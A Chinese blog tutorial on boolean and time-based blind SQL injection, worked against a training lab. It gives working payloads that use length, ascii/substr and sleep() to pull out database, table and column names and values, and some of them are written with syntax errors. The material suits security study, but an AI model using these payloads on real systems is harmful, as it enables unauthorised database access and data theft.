SQL注入&盲注&延时

在这里插入图片描述

蓝易云高性能服务器

在这里插入图片描述

|

|

|

|

|

😝😝😝😝😝😝点击购买吧-年份送定制U盘
😝😝😝😝😝😝点击购买吧-年份送定制U盘
😝😝😝😝😝😝点击购买吧-年份送定制U盘
😝😝😝😝😝😝点击购买吧-年份送定制U盘
😝😝😝😝😝😝点击购买吧-年份送定制U盘
😝😝😝😝😝😝点击购买吧-年份送定制U盘
😝😝😝😝😝😝点击购买吧-年份送定制U盘

|

|

|

|

|

布尔注入

猜库位

我们还是通过墨者里面的靶场来进行布尔注入

首先我们一样

要发现他是存在注入点的

and 1=2

那么判断字段呢可以先放下先

我们判断出他存在注入点

那么下面就是猜的库名

怎么猜呢

我们布尔注入是先猜他的库名是几个字母几个特殊字符的

and length(database())=23

假设我们的当时数据库的

库名为

bezr

那么我们的注入语句就是

and length(database())=4

这个语句的意思是

我猜他的库名为四个字母或者说我猜他的库名为四个特殊字符,再或者说我猜他的库名占四位

那么我们这样去注入的话

他是正常显示的

并不会报错或者异常回显

因为我们猜的是正确的

使用是正常回显

如果猜的是错误的

比如

and length(database())=9

这就错误了

因为我们的库名是4位的

现在猜9位所有是错误的,所以报错

在这里插入图片描述

这就是我们在逻辑上的猜库名有几位‘

猜库位的字母或者特殊字符

and left(database(),1)='m'

这个就是猜库名的

第一位的第一个字母,或者是第一个特殊字符他等于那个

他是等于m的

那么如果我们猜错了他会异常回显

或者不显示

那么如果我们猜对了

他的回显就是正常的

在这里插入图片描述

在这里插入图片描述

如果说你要猜第二位置上的是什么

也一样

and left(database(),2)='o'

猜表的数量

and 1>2 or (select count(*) from information_schema.tables where table_schema=database())='2'
and 1=2 or (select count(*) from information_schema.tables where table_schema=database())='2'

在这里插入图片描述

猜第表有几位

and 1>2 or length((select table_name from information_schema.tables where table_schema=database()limit)0,1))='17'
and 1=2 or length((select table_name from information_schema.tables where table_schema=database()limit)0,1))='17'

猜表的第一个字母或者第一个特殊字符

在这里插入图片描述

and ascii(substr((select table_name from information_schema.tables where table_schema="mozhe_Discuz_StormGroup"limit 0,1),1,1))=83
二进制十进制十六进制字符/缩写解释
00000000000NUL (NULL)空字符
00000001101SOH (Start Of Headling)标题开始
00000010202STX (Start Of Text)正文开始
00000011303ETX (End Of Text)正文结束
00000100404EOT (End Of Transmission)传输结束
00000101505ENQ (Enquiry)请求
00000110606ACK (Acknowledge)回应/响应/收到通知
00000111707BEL (Bell)响铃
00001000808BS (Backspace)退格
00001001909HT (Horizontal Tab)水平制表符
00001010100ALF/NL(Line Feed/New Line)换行键
00001011110BVT (Vertical Tab)垂直制表符
00001100120CFF/NP (Form Feed/New Page)换页键
00001101130DCR (Carriage Return)回车键
00001110140ESO (Shift Out)不用切换
00001111150FSI (Shift In)启用切换
000100001610DLE (Data Link Escape)数据链路转义
000100011711DC1/XON (Device Control 1/Transmission On)设备控制1/传输开始
000100101812DC2 (Device Control 2)设备控制2
000100111913DC3/XOFF (Device Control 3/Transmission Off)设备控制3/传输中断
000101002014DC4 (Device Control 4)设备控制4
000101012115NAK (Negative Acknowledge)无响应/非正常响应/拒绝接收
000101102216SYN (Synchronous Idle)同步空闲
000101112317ETB (End of Transmission Block)传输块结束/块传输终止
000110002418CAN (Cancel)取消
000110012519EM (End of Medium)已到介质末端/介质存储已满/介质中断
00011010261ASUB (Substitute)替补/替换
00011011271BESC (Escape)逃离/取消
00011100281CFS (File Separator)文件分割符
00011101291DGS (Group Separator)组分隔符/分组符
00011110301ERS (Record Separator)记录分离符
00011111311FUS (Unit Separator)单元分隔符
001000003220(Space)空格
001000013321!
001000103422"
001000113523#
001001003624$
001001013725%
001001103826&
001001113927
001010004028(
001010014129)
00101010422A*
00101011432B+
00101100442C,
00101101452D-
00101110462E.
00101111472F/
0011000048300
0011000149311
0011001050322
0011001151333
0011010052344
0011010153355
0011011054366
0011011155377
0011100056388
0011100157399
00111010583A:
00111011593B;
00111100603C<
00111101613D=
00111110623E>
00111111633F?
010000006440@
010000016541A
010000106642B
010000116743C
010001006844D
010001016945E
010001107046F
010001117147G
010010007248H
010010017349I
01001010744AJ
01001011754BK
01001100764CL
01001101774DM
01001110784EN
01001111794FO
010100008050P
010100018151Q
010100108252R
010100118353S
010101008454T
010101018555U
010101108656V
010101118757W
010110008858X
010110018959Y
01011010905AZ
01011011915B[
01011100925C\
01011101935D]
01011110945E^
01011111955F_
011000009660`
011000019761a
011000109862b
011000119963c
0110010010064d
0110010110165e
0110011010266f
0110011110367g
0110100010468h
0110100110569i
011010101066Aj
011010111076Bk
011011001086Cl
011011011096Dm
011011101106En
011011111116Fo
0111000011270p
0111000111371q
0111001011472r
0111001111573s
0111010011674t
0111010111775u
0111011011876v
0111011111977w
0111100012078x
0111100112179y
011110101227Az
011110111237B{
011111001247C|
011111011257D}
011111101267E~
011111111277FDEL (Delete)删除

猜字段名字

and ascii(substr((select column_name from information_schema.columns
where table_name=‘获取到的表名’ and table_schema=‘获取到的数据库名’ limit
0,1),第一个位置,1))>97

and ascii(substr((select column_name from information_schema.columns where table_name='StormGroup_member' and table_schema='mozhe_Discuz_StormGroup' limit 0,1),1,1))>104

在这里插入图片描述

猜值

and ascii(substr((select concat(字段名) from 数据库名.表名limit 0,1),1,1))>108

and ascii(substr((select concat(name) from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1),1,1))>108

在这里插入图片描述

延时注入

延时注入很简单

就是延长了时间

进行回显

and if(1=1,sleep(5),0)

在这里插入图片描述

用时6.92秒

那么我们现在延时五秒

那么在什么情况下会延时5秒呢

那就是在正确的情况下了

就是你猜的正确的情况下,他就会执行你的要求,你的要求就是延迟5秒或者更久的时间

最后时间是

在这里插入图片描述

11秒多

那么11-6等于5

那么就是延迟了5秒

说明我猜的是正确的

延时注入判断数据库名长度

and if(length(database())=23,sleep(10),1)

and if(length(database())=你猜他的库名是多少位,sleep(延迟多少秒),第一个数据库名)

在这里插入图片描述

17秒

这个秒数呢虽然不是非常准确

但是凭感觉就知道是不是正确的了

mozhe_Discuz_StormGroup

延时注入判断当前数据库名

and if(ascii(substr(database(),1,1))=ascii值,1,sleep(延时多少))

and if(ascii(substr(database(),1,0))=109,1,sleep(10))

在这里插入图片描述

延时注入判断表名

and if((select ascii(substr((select table_name from information_schema.tables where table_schema="mozhe_Discuz_StormGroup"limit 0,1),1,1)))='105',sleep(30),0)

在这里插入图片描述

参考一下吧

猜字段语句:
?id=1' and if((select ascii(substr((select column_name from information_schema.columns where table_name="表名"limit 0,1),N,1)))=101,0,sleep(5))-- -
 
 
猜数据:
 and if((select ascii(substr((select 字段名 from 库名.表名 limit 0,1),N,1)))=101,0,sleep(5))

在这里插入图片描述

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

无聊的知识

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值